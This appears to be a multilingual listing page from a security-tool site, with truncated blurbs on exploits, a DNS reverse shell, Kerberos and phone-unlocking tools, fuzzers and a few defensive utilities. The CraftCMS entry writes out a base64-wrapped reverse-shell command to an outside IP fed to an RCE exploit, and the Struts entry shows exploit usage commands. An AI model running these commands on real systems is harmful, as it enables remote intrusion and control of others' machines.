rickmote

rickmote The Rickmote Controller: dirotta le TV usando Google Chromecast The Rickmote è un programma Python per dirottare i Chromecast e riprodurre video arbitrari sulle TV collegate. Tutti i dettagli su come funziona l'hack sono stati forniti durante il talk "Rickrolling your Neighbors with Goog...

struts-pwn_CVE-2017-9805

struts-pwn - CVE-2017-9805 Exploit Ein Exploit für Apache Struts CVE-2017-9805 Verwendung Überprüfen, ob die Schwachstelle gegen eine einzelne URL existiert. python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' Überprüfen, ob die Schwachstelle gegen eine Liste von URLs...

local-mcp

local-mcp Server MCP a zero dipendenze per operazioni su file locali. 13 strumenti per il filesystem + 3 meta-strumenti per scoperta progressiva — niente SDK, niente framework, nessun npm install necessario. Protocollo MCP: 2024-11-05 · Trasporto: stdio + Streamable HTTP · Runtime: Node.js ≥ 22.0...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

SpoofcheckSelfTest

SpoofCheck Self Test Applicazione web che ti consente di verificare se il tuo dominio è vulnerabile allo spoofing delle email. NOTA: Questa applicazione è ancora in fase di sviluppo. Installazione: Questa applicazione è progettata per essere utilizzata come servizio. Tuttavia, se vuoi ospitarla t...

CVE-2023-43040

CVE-2023-43040 Dieses Repository enthält einen Proof-of-Concept-Exploit für die Schwachstelle CVE-2023-43040, die im RADOS Gateway RADOSGW gefunden wurde. Diese Schwachstelle ermöglicht es Angreifern, Objekte in beliebige Buckets hochzuladen, die mit dem angegebenen Zugriffsschlüssel zugänglich...

Reverse_DNS_Shell

DNShell v1.7 Descrizione: Una Reverse Shell in Python che utilizza DNS come canale C2. Richiede: dnslib dnspython pycrypto Avvertenze: non dimenticare di cambiare il tuo HOST non dimenticare di cambiare la tua SECRET key esegui prima il server Maggiori Informazioni:...

CVE-2025-55182

CVE-2025-55182 Ein Kommandozeilen-Tool zur Erkennung von CVE-2025-55182 und CVE-2025-66478 in Next.js-Anwendungen, die React Server Components verwenden. 🚀 Installation root@kitploit: wget -q -O /usr/bin/CVE-2025-55182...

cve-2024-23897-jenkins-poc

CVE-2024-23897: Lettura arbitraria di file in Jenkins sintassi @ di args4j Una riproduzione autonoma e completamente locale di CVE-2024-23897 , la lettura arbitraria di file critica punteggio base CVSS 3.1: 9.8 nella CLI di Jenkins. Il progetto avvia due stack Docker che differiscono solo per la...

feroxfuzz

🚀 FeroxFuzz 🚀 Eine strukturbewusste HTTP-Fuzzing-Bibliothek...

elite-proxy-finder

elite-proxy-finder Este script não estava funcionando por alguns meses. Acabei de corrigi-lo em 7/6/15. Agora usa apenas gatherproxy.com. Encontra proxies HTTP de elite anônimos L1 e os testa todos em paralelo. Testa cada proxy contra 3 URLs de verificação de IP, incluindo uma que é HTTPS para...

SolarWinds-CVE-2021-35250

SolarWinds-CVE-2021-35250 Serv-U v.15.3.0.X CVE-2021-35250-Directory-Traversal Olá a todos Este é o meu primeiro POC, não julguem com rigor. Disclaimer O autor deste repositório não é responsável por qualquer dano causado pelo uso ou uso indevido destes exploits PoC. Estes PoCs destinam-se apenas...

Salamandra

Salamandra - Strumento di rilevamento di microspie Salamandra è uno strumento per rilevare e localizzare microspie in ambienti chiusi. Trova i microfoni basandosi sulla potenza del segnale inviato dal microfono e sulla quantità di rumore e frequenze sovrapposte. In base al rumore generato, può...

FencePost

FencePost Dashboard multi-host per il firewall UFW. Si connette a host Linux tramite SSH, analizza le regole del firewall e le porte in ascolto, spiega tutto in italiano semplice e segnala le lacune di sicurezza. Caratteristiche Panoramica multi-host — visualizza a colpo d'occhio lo stato UFW, le...

kekeo

kekeo kekeo é uma pequena caixa de ferramentas que comecei para manipular o Microsoft Kerberos em C e por diversão Biblioteca ASN.1 Em kekeo, eu uso uma biblioteca comercial externa para lidar com estruturas ASN.1 do Kerberos: OSS ASN.1/C http://www.oss.com/asn1/products/asn1-c/asn1-c.html Foi o...

PyJFuzz

PyJFuzz ist ein kleines, erweiterbares und sofort einsatzbereites Framework zum Fuzzing von JSON-Eingaben , wie z.B. mobile REST-API-Endpoints, JSON-Implementierungen, Browser, CLI-Anwendungen und vieles mehr. Installation Abhängigkeiten Damit PyJFuzz funktioniert, benötigt es einige...

PXEThief

PXEThief PXEThief è un insieme di strumenti che implementa i percorsi di attacco discussi al DEF CON 30 nel talk Pulling Passwords out of Configuration Manager https://forum.defcon.org/node/241925 contro la funzionalità di distribuzione del sistema operativo in Microsoft Endpoint Configuration...

lisa.py

Integração LLDB MCP Este projeto fornece uma integração do Protocolo de Contexto de Modelo MCP para o LLDB, permitindo que assistentes de IA como o Claude interajam com suas sessões de depuração através de uma interface padronizada. Visão Geral A integração consiste em dois componentes principais...

zigdiggity

ZigDiggity Version 2 Einführung von ZigDiggity 2.0 , einem ZigBee-Penetrationstest-Framework von Matt Gleason & Francis Brown von Bishop Fox. Besonderer Dank gilt Caleb Marion! ZigDiggity Version 2 ist eine umfassende Überarbeitung des ursprünglichen Pakets und zielt darauf ab,...

CiLocks

root@kitploit: / / / / / / / / / / / / /// / / // / // // / // , //////|//v2.1 CiLocks | Hacking Android/IOS 📱 Crack de tela de bloqueio, Metasploit e mais Hacking Android/IOS Por favor, não use para atividades ilegais Atualização Disponível V2.1 🚀 Novas ferramentas adicionadas Root Android...